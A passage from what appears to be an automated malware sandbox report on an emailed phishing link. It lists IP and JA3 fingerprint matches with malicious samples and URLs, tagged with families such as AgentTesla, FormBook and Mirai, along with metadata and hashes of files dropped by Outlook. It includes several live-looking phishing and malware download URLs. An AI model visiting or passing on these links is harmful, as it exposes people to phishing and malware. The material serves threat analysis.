MICROSOFT-CORP-MSN-AS-BLOCKUS	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Get hash	malicious	Unknown	Browse	52.108.11.12
	w18Ys8qKuX.elf	Get hash	malicious	Unknown	Browse	40.85.107.162
	GSVzm51Pg5.elf	Get hash	malicious	Unknown	Browse	104.209.250.87
	czHBnd67gp.elf	Get hash	malicious	Unknown	Browse	40.122.138.60
	8DKuAcmAMT.elf	Get hash	malicious	Unknown	Browse	20.174.83.175
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	104.214.95.55
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	22.143.85.50
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	20.66.220.145
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	21.174.199.179
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	21.27.128.77
CLOUDFLARENETUS	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0	Get hash	malicious	Unknown	Browse	104.16.231.132
	Movavi Slideshow Maker 4.exe	Get hash	malicious	Unknown	Browse	172.67.75.65
	Movavi Slideshow Maker 4.exe	Get hash	malicious	Unknown	Browse	104.26.14.179
	New_Order_568330_Material_Specifications.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, RedLine, SugarDump, XWorm	Browse	188.114.97.3
	OREN user Stores Requisition 4th quarter OREN-ES-2024-010 & OREN-ES-2024-011.exe	Get hash	malicious	FormBook	Browse	172.67.177.220
	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Scan_Rev 20220731_PO&OC#88SU7782743882874_PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	https://t.ly/BavariaFilmGmbH2410	Get hash	malicious	Unknown	Browse	188.114.96.3
	Quote1.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://temp.farenheit.net/XL1VkZE1FVGZjL0VwUUt5cWc4dkk1SWpqVFFTMUtQZ0krRFhobktOS05RSWpVMTZIYzk3b3hOUTBoZ2VYdnAzM21wZnYwMVBmdGN0MW12M09qVmMzbnNVeVpkeXBxeHVGd2V4eDRvVlZ5dERsakpjbGV3ZVZxRVhlZ0F6Q3hwQlptYUUyRFhHRzY3YkRXQ3hjWmhBZDBpMkNpakJDSnhzUG9xa2k2ZkdacVpDZVhFVFppeUJLcHJIaC0teVVJeERBTFd0K3k3b01rYS0tRk9zSWNIVEd0blVHZVlhTlFnVUxldz09?cid=2242420613	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://ylh2qh022.spreadsheetninjas.com/q3bCCwDV?sub1=ed10U&keyword=rbraley@avitusgroup.com&sub2=xelosv.nl	Get hash	malicious	Porn Scam	Browse	173.222.162.64
	https://app.pandadoc.com/document/v2?token=a0bcffa175414e2b8694792c4d9ae865b20836dd?	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://novisurvey.net/ns/n/z133i.aspx	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://1drv.ms/o/c/76471f3776916fd0/EomjtsItbi9Ag0bnzrJDx08BhxVWepFoAXrJFoYeR9IZ0A?e=5%3aEFCh5b&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://lnk.ie/73BGS/e=?utm_campaign=&utm_medium=email&utm_source=eloqua&utm_content=EMS&elqTrackId=b3e6296b7e034428ab6cf8165586e5f3&elq=f15d0983a3e2469a9348a180a5d34fca&elqaid=2922&elqat=1&elqCampaignId=1792&elqak=8AF50EC23DDB3CA8DB8B1F52080496E6D8BDFEE307A00555CA936F9692C081A369A3	Get hash	malicious	Unknown	Browse	173.222.162.64
	ATT25322.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://landsmith.ae/continue.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fonedrive.live.com%2Fredir%3Fresid%3DA2C259BD24DEB977%25211517%26authkey%3D%2521AMV6sdjMIZf95vs%26page%3DView%26wd%3Dtarget%2528Quick%2520Notes.one%257C8266a05f-045a-4cc0-bddc-4debc90069bb%252FNotera%2520H6TYD9J4rDFDFECZC-HUYW%257Ca949d04d-b4e2-4509-b99f-d04546199b7b%252F%2529%26wdorigin%3DNavigationUrl&id=71de&rcpt=johan.brandt@skolverket.se&tss=1729830791&msgid=2d0ccdeb-928a-11ef-8a2e-0050569b0508&html=1&h=008c08c0	Get hash	malicious	Unknown	Browse	20.12.23.50
	https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0	Get hash	malicious	Unknown	Browse	20.12.23.50
	https://0nline1.fors3650com.site/?NTMtNGYyOS1hNDc1LTA	Get hash	malicious	HTMLPhisher	Browse	20.12.23.50
	sup.logical@gmail.com.exe	Get hash	malicious	Unknown	Browse	20.12.23.50
	SBVKQQFD9R.exe	Get hash	malicious	PureLog Stealer	Browse	20.12.23.50
	https://temp.farenheit.net/XL1VkZE1FVGZjL0VwUUt5cWc4dkk1SWpqVFFTMUtQZ0krRFhobktOS05RSWpVMTZIYzk3b3hOUTBoZ2VYdnAzM21wZnYwMVBmdGN0MW12M09qVmMzbnNVeVpkeXBxeHVGd2V4eDRvVlZ5dERsakpjbGV3ZVZxRVhlZ0F6Q3hwQlptYUUyRFhHRzY3YkRXQ3hjWmhBZDBpMkNpakJDSnhzUG9xa2k2ZkdacVpDZVhFVFppeUJLcHJIaC0teVVJeERBTFd0K3k3b01rYS0tRk9zSWNIVEd0blVHZVlhTlFnVUxldz09?cid=2242420613	Get hash	malicious	Unknown	Browse	20.12.23.50
	https://sitecoresolrlb-mig.uat.ashurst.com/384ff7382de624fb94dbaf6da11977bba1ecd427	Get hash	malicious	HTMLPhisher	Browse	20.12.23.50
	Import_Declainvoice.htm	Get hash	malicious	Unknown	Browse	20.12.23.50
	https://bioaquatictesting-my.sharepoint.com/:f:/g/personal/securedocument_bio-aquatic_com/Eu0LAzG4abJJn1FmlYYk6C0Bm-68IB0eiVR_FSTw6lLEjw?e=pg8DKY	Get hash	malicious	Unknown	Browse	20.12.23.50
	Pro_Inv_24102024_payment_confirmations_SWIFTFiles.xls	Get hash	malicious	Unknown	Browse	20.12.23.50

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	231348
Entropy (8bit):	4.386380096101271
Encrypted:	false
SSDEEP:	1536:YsYLJdgsLx9QawjtIgsG3NcAz79ysQqt2v5jrqoQETrcm0Fvic3yKt1sviIiNaar:ODgZdygzmiGu2lqoQkrt0FvsW3jjfHxJ
MD5:	7A87C2C24D4B7708EFD9D3C58BC4B156
SHA1:	1077F44FAA6316BBFD0CF0AFBF56B01E571608C7
SHA-256:	3B45116C927914016C5D702F1C2D80ABB3E219BAE9CF3403D8F7208D50C94BF9
SHA-512:	FCF479CC0A4A94E14E305E4BF957F8AAB0BA78599941E0A59A2833DBD6CCB80DE9ED19B36A4086C5CE661C676A4DE470006EA63B30398629E47137A21FBA767A
Malicious:	false
Reputation:	low
Preview:	TH02...... . .t^.&......SM01X...,...@.h^.&..........IPM.Activity...........h...............h............H..ht........y.f...h.........(..H..h\eng ...r\Ap...h ...0.........h.\|4............h........_`.k...h.{4.@...I.6w...h....H...8..k...0....T...............d.........2h...............k1.1...........!h.............. h.............#h....8.........$h.(......8....."h..............'h..............1h.\|4.<.........0h....4.....k../h....h......kH..hH...p...t.....-h .............+h.}4.....h.......8....p...... ..............F7..............FIPM.Activity....Form....Standard....Journal Entry...IPM.Microsoft.FolderDesign.FormsDescription................F.k..........1122110020000000....Microsoft...This form is used to create journal entries.........kf...... ..........&...........(.......(... ...@.....................................................................................................................fffffffff........wwwwwwww.p....pp..............p...............pw..............pw..DDDDO..

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with very long lines (1869), with no line terminators
Category:	dropped
Size (bytes):	1869
Entropy (8bit):	5.085055589673305
Encrypted:	false
SSDEEP:	48:cG3/Odnzy8dyrB4nzyeiSy30Jdyrh3nzytRdy+GkSyrf1nzybIdywYASyQEdSyO:Od28Eu2BbOE92zEebJ2sE7AbHdbO
MD5:	7A4F409B7A82C8BD553569BFAEADDB53
SHA1:	DF8670E698928DB20B45140FD92371A4C9B29828
SHA-256:	B639D3794ACE2072B80829D35D2A09A501A7D879C97151BA65554EE2C9C41463
SHA-512:	B12EB52D9EEFACCCC5BC2E54A2B4822E9C5B28C17E5D7D7AC6D0CAD6BDF391A50D4414C9B79E3F747421D5BB84022FC4A247E63FB9B5CCA0D239B588986AB5EE
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?><root><version>1</version><Count>12</Count><Resource><Id>Aptos Display_26215680</Id><LAT>2023-10-05T06:31:08Z</LAT><key>23001069669.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos_26215680</Id><LAT>2024-10-25T08:18:15Z</LAT><key>29939506207.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Display_45876480</Id><LAT>2023-10-05T06:31:08Z</LAT><key>30264859306.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Aptos Narrow_45876224</Id><LAT>2023-10-05T06:31:08Z</LAT><key>24153076628.ttf</key><folder>Aptos Narrow</folder><type>4</type></Resource><Resource><Id>Aptos_26215682</Id><LAT>2023-10-05T06:31:08Z</LAT><key>31169036496.ttf</key><folder>Aptos</folder><type>4</type></Resource><Resource><Id>Aptos Display_26215682</Id><LAT>2023-10-05T06:31:08Z</LAT><key>28367963232.ttf</key><folder>Aptos Display</folder><type>4</type></Resource><Resource><Id>Apto

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\EDF995D6-4714-4226-A33B-39743D39632C

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178267
Entropy (8bit):	5.290277765371525
Encrypted:	false
SSDEEP:	1536:Bi2XfRAqFbH41gwEwLe7HW8QM/o/NMdcAZl1p5ihs7EXXDEAD2Odago:HCe7HW8QM/o/TXgk9o
MD5:	057DD77CAE6997A071B8881FDAF70D4A
SHA1:	86671FE146351E4C832CF59A7E79AAF89195D951
SHA-256:	85FF9CD1388EF2535C704BF548323D972E6E830C78C2FBC105789327F1A41BE4
SHA-512:	F48C4C9AD1167BD8158A3F6EA988912D8F16F63C0D92FF9D93F7BA6B9E18202AABD6C42F1BA424119C049215B08FB61C441F5379D1BA7F71CA586F5F052E3BD9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2024-10-25T08:18:11">.. Build: 16.0.18209.40127-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://word-edit.officeapps.live.com/we/rrdiscovery.ashx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId" o:authentication="1">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. <o:ticket o:policy="MBI_SSL_SHORT" o:idprovider="1" o:target="[MAX.AuthHost]" o:headerValue="Passport1.4 from-PP='{}&p='" />.. <o:ticket o:idprovider="3" o:headerValue="Bearer {}" o:resourceId="[

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04591939678467531
Encrypted:	false
SSDEEP:	3:GtlxtjlxeXLFoq0PbI/ltlxtjlxeXLFoq0PBll9R9//8l1lvlll1lllwlvlllglK:GtaFjttaFo9X01PH4l942wU
MD5:	851FC30FEB40C986F4D0D3940B30E863
SHA1:	79D0D8DF06D4C1212AC3FD6999C7682915B5699F
SHA-256:	9375EF4551111084A0B47873270D77BF942259D83F092674E2F720E59593C478
SHA-512:	DB4D7D251F3122718307CF7C7117D061A3850F4E7017097A6571E794C930C5B40122483BC6D648216D79E004DB5A5034E41198B7BAA149ACE2CA423778A55D24
Malicious:	false
Preview:	..-.......................;..@+.a.Ns.S.,.x$.j<..-.......................;..@+.a.Ns.S.,.x$.j<........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	49472
Entropy (8bit):	0.4823318986468874
Encrypted:	false
SSDEEP:	48:IqXQ1qUll7DYMPlzO8VFDYMPBO8VFDYML:Q/ll4kRjVGKjVGC
MD5:	76238D585E149A278F438A3F8A754AB1
SHA1:	D83683938BCB15985787E28278F2BB0FC3E31E1F
SHA-256:	6050140E4BF753F137C48337890DDF004E2B28F2CEEC5DDCDC678AA84E4BB3B0
SHA-512:	DCDE1431F4A08DF4FD752FA4A6A725F92FDA9A92739A26D679866FA39C425FDA86FAD3C1E42C65040DF8A359E56F10D809D4CE8A17CFA25461E1FC4DA9D9CE4E
Malicious:	false
Preview:	7....-...........a.Ns.S\|.d.S...........a.Ns.S.X}.@.#.SQLite format 3......@ .......................................................................... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\BE27E0C.dat

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	PNG image data, 1270 x 562, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	32999
Entropy (8bit):	7.506663355826842
Encrypted:	false
SSDEEP:	384:s93+orBt2l9Hf54qqSSbr4JFMTMNFbbHOnbpTjeC6BnSFcNCWbrmK9SSSe:I+orf2lxhLfm4+kbb+jeC6xv2+SSSe
MD5:	64AAB31706626F5A1B828B5E84DCF477
SHA1:	EF8A6A141C970E0991E90FF4B07D62A09EED25CA
SHA-256:	708F3F6C91E275C4EAE7F0AF3764E1EB3D052822E5A3173F7080D9EA8D3A4689
SHA-512:	42501E3F26DF344CD332F8D2EB935123F38C41AF77588DF157B3AF5867DCE8003C51DE73AC16DE62A215141ABA95FDFE0E3B0F326AAD66B644E671DF732EA917
Malicious:	false
Preview:	.PNG........IHDR.......2......O.....sRGB.........IDATx^.................{.X."-.E............).H.P.8-.R\.;..I.$.............s.=s..,y........l..g;...@....@....@...._`...5@....@....@....@ . .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.... .. .... .... ....4..!n.4$.@....@....@.....0{..v.....}?u.7.'M.<e.w...o......@.^.w........@....@.....h.!.Y...3n..O.Nd.l_...2....k.`KH..@....@....@ p...qg.1t..c.O$.../.x..]a......~Q)!.. .... .....(..!...>.6.I.z..=z.7o.......H.N.2...U...2K..Xn...T....@....@..Z.4y.;x.._.3...;.X\|....W+;.F`.......h..;uZa.......9....@....@....@3.<a....'...../._.v...W..3f.....oZ..........@....@...."..!..G...~...h........:.E..f..:m....}3ir..I.... .... ....Y.iC\."h.i.}...+.o....9.a.'..Q7X.(... .

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{771B1FA9-18B7-40B1-B859-D17FAA449978}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	2580
Entropy (8bit):	1.895874677045526
Encrypted:	false
SSDEEP:	24:vw9LurF0AX26lIOWuOJ87WxqxZVwlN+6hkJ2BNp5bGVy5:cLgzXX3mw1ZwtkJ2NHbGV
MD5:	EE609F584E59D63C2FBB67C9AA5351D0
SHA1:	CFC4D1991DBAE1BF5E157B96FBD1292EAC61CC02
SHA-256:	090FB645A2A34CD3D59DCCE7D9CD05859F80C9785C2CA90DF029F26CE31657AC
SHA-512:	F904B6DF54FD13B89114EEF85C81936BFC21F008EB6A4F8CA879F7741B5C6736913FD9795E9E741E175854E396340242826C1E7084123A0B0EE863E531FBE627
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729844287441592800_F10E9279-BE47-4EA3-9D39-5CDA63BF4721.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	ASCII text, with very long lines (28749), with CRLF line terminators
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.17869284251781886
Encrypted:	false
SSDEEP:	1536:lNfqoD5vTCOWbMakLuhBVThwzQKgi1nw7w1rqC6j66CNz29fUIVuQR:HDFHWbktVpk
MD5:	B5AE791A4795D63BFC53DEE83E04D41E
SHA1:	3788C008135F903BC495F21CFA9386FC51BB6E2C
SHA-256:	3D5138EA78DAF6F178129A091E0A5D66788787DF886D459ACE924843BE0E680E
SHA-512:	982CE8DD42C01BCA5E4F8D3A068EABC55E422785CBC8962805F199909F0EF0D6C8F2535D2D2745031628C3EF64B130CD556B7B112F70D1666E10B40DE0A38142
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/25/2024 08:18:07.742.OUTLOOK (0x1C7C).0x1C80.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.GDIAssistant.HandleCallback","Flags":30962256044949761,"InternalSequenceNumber":22,"Time":"2024-10-25T08:18:07.742Z","Contract":"Office.System.Activity","Activity.CV":"eZIO8Ue+o06dOVzaY79HIQ.4.9","Activity.Duration":13,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.GdiFamilyName":"","Data.CloudFontStatus":6,"Data.CloudFontTypes":256}...10/25/2024 08:18:07.804.OUTLOOK (0x1C7C).0x1C80.Microsoft Outlook.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Text.ResourceClient.Deserialize","Flags":30962256044949761,"InternalSequenceNumber":24,"Time":"2024-10-25T08:18:07.804Z","Contract":"Office.System.Activity","Activity.CV":"eZIO8Ue+o06dOVzaY79HIQ.4.10","Activity.Duration":13666,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":true,"Data.JsonFileMajorV

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1729844287442445500_F10E9279-BE47-4EA3-9D39-5CDA63BF4721.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241025T0418070101-7292.etl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	4.472067561155676
Encrypted:	false
SSDEEP:	768:Ap5278uqOe3BGSx84XCz9IZ+Sw0WlWbRuRiXgQeQJN8zH:5mGL4XCz9IZ+5+kwXppN8zH
MD5:	D6ADE0C7E75C9EB8B5E9A16DC8862713
SHA1:	568A4774FA0D4BA923288655455DEA5E31BB9716
SHA-256:	2BADBB448E20FE602DC1E65E7807F6EA781D564A2F54CBD86314861659187FB6
SHA-512:	5141ACEB5E842C66E45D3E23C5F07E644241B4263A2AC1B360A8DDE462F5156CA8B77D60A4627FECC6980871C5B5B78FB996C47D5728FACAD2A5653DBF67DB6C
Malicious:	false
Preview:	............................................................................h.......\|...D..k.&..................eJ..............Zb..2...................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................J..H...........D..k.&..........v.2._.O.U.T.L.O.O.K.:.1.c.7.c.:.a.6.4.2.e.2.e.e.b.2.d.3.4.3.e.1.8.4.e.2.a.2.e.2.7.5.1.9.5.b.a.8...C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.O.u.t.l.o.o.k. .L.o.g.g.i.n.g.\.O.U.T.L.O.O.K._.1.6._.0._.1.6.8.2.7._.2.0.1.3.0.-.2.0.2.4.1.0.2.5.T.0.4.1.8.0.7.0.1.0.1.-.7.2.9.2...e.t.l.......P.P.....\|...D..k.&..................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF5BE8A7C07B2B69E7.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	0.3741708254990602
Encrypted:	false
SSDEEP:	192:ZD2kKcg+K/lmJoK39Vx8ZrW4T4YNgz0XHWQOuqAbAFAqwNh/:UC04o89T8ZBT4Hz0XHOuqMu
MD5:	66780B2450575210B920B0C4D76725D1
SHA1:	89311FFA1285552C4E464A9E2C317C83D67B03FF
SHA-256:	A864E7EDE0CD5DFC90ED62CF9F5BF6CEA242644C14094B8907B34AFAFADBB115
SHA-512:	CB08B0E9D951AAF9574FA7704A89D5FE1886E8DA835A940C6FA0D29F0AA2991BFB69884F97E4507531988EE74570F49992C18B19199D0111917B5CEB6B2BB2CC
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\MSO3072.acl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	30
Entropy (8bit):	1.2389205950315936
Encrypted:	false
SSDEEP:	3:bzv:n
MD5:	071E7908073D51FA509C1FAB0BEB40E9
SHA1:	60D4367E834A525889E16A8DECFD1DC2C2E21EA1
SHA-256:	07462845185E34F83FBF8896BAEDDBDD7AF73FA825F24B7C022F9C25EB643E21
SHA-512:	7CBD9CCA36F77B433C0FEFF6B4AA6D5199D00C4759B0E619DDC519D0426F9D052D3227B73D6A8AED98F75E41A8564A4EAE1E1E8F7CF594F7603724A120B8B41C
Malicious:	false
Preview:	....l.........................

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	22
Entropy (8bit):	2.6424239617719745
Encrypted:	false
SSDEEP:	3:QA6kLlAX:QAU
MD5:	67B76DED2BAAFB19AF81ACCF3E85282C
SHA1:	937AD3A872978BB13F2B81BBE66DC005C267992A
SHA-256:	97D64040E4513A4EA84262C024A1CF30D84D536D2180EA503C1E0580328C6798
SHA-512:	6D2392F8F646FA8F127F0A7124FA8FA13BEF50613C982FD69C1DA47EB9C61D83F2607633F1184EA289C795C7D69F72DF755E02316CFDFC2F00B2B6BFF97BE6C3
Malicious:	false
Preview:	..e.n.g.i.n.e.e.r.....

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	271360
Entropy (8bit):	1.3110437050179142
Encrypted:	false
SSDEEP:	6144:GWFzyLwtmnXwKLvyg19fr9zwKLvyg19fr9ONyrwKLvyg19fr9O6LFdzFQyF+fHwZ:
MD5:	0FFABBE18BD1134EA8DD0B7D03F09042
SHA1:	A7AEEB171134A5D7E158AF4ADC1A449B5E040184
SHA-256:	74A607E0DC8127489394BCCFA7F9A520597022EA1821C3184029A42A4536A2D3
SHA-512:	33D6F906D1F1C80764029EAB23F98C5B57CF9A623D746801FE8483046396EF1EF474EE910995A592EF59652A1BAC657C84CFDC92FC0D3D8963693ECAE5E01786
Malicious:	true
Preview:	!BDN>7..SM......\...............>.......U................@...........@...@...................................@...........................................................................$.......D......@S..............:...............=...................................................................................................................................................................................................................................................................................................o.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.7963363087193245
Encrypted:	false
SSDEEP:	1536:lZQfmwKLvyg19fr9O0wKLvyg19fr9OrzFH:3nwKLvyg19fr9O0wKLvyg19fr9OrzF
MD5:	6EE976B7A4FBAE03D7DEEBFC5AD2EE8A
SHA1:	A07E92038FDDBDB99A7788933B4DCD6973147B2F
SHA-256:	D1B0DE4A735C741D9FAFA419243A17DE7AD061575E58035E0490A602FBDDE197
SHA-512:	0A54C213ACBD1E4D8E37FCA76BBC8C05B8996A042111D681ED570F303158F1D3B2525A335F45E8296014A7571B5612708ED74D37F5940D2164A368AAD45A63D3
Malicious:	true
Preview:	0.l.C...S.......\|....>i.&....................#.!BDN>7..SM......\...............>.......U................@...........@...@...................................@...........................................................................$.......D......@S..............:...............=...................................................................................................................................................................................................................................................................................................o......>i.&.......B............#.........................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65476)
Category:	dropped
Size (bytes):	131576
Entropy (8bit):	5.3336550696173
Encrypted:	false
SSDEEP:	1536:WlHzBSZuu6aG6ePs15sqsDCNjiei7NmZuuJizS84Rb/KZAeLh:WlY676ePcegjiX7Nmxn9bKeeV
MD5:	3B09284824C13B8CDC6961C0E67F3882
SHA1:	D3E3DA90328D47BB43887CE0FA6176C936082B43
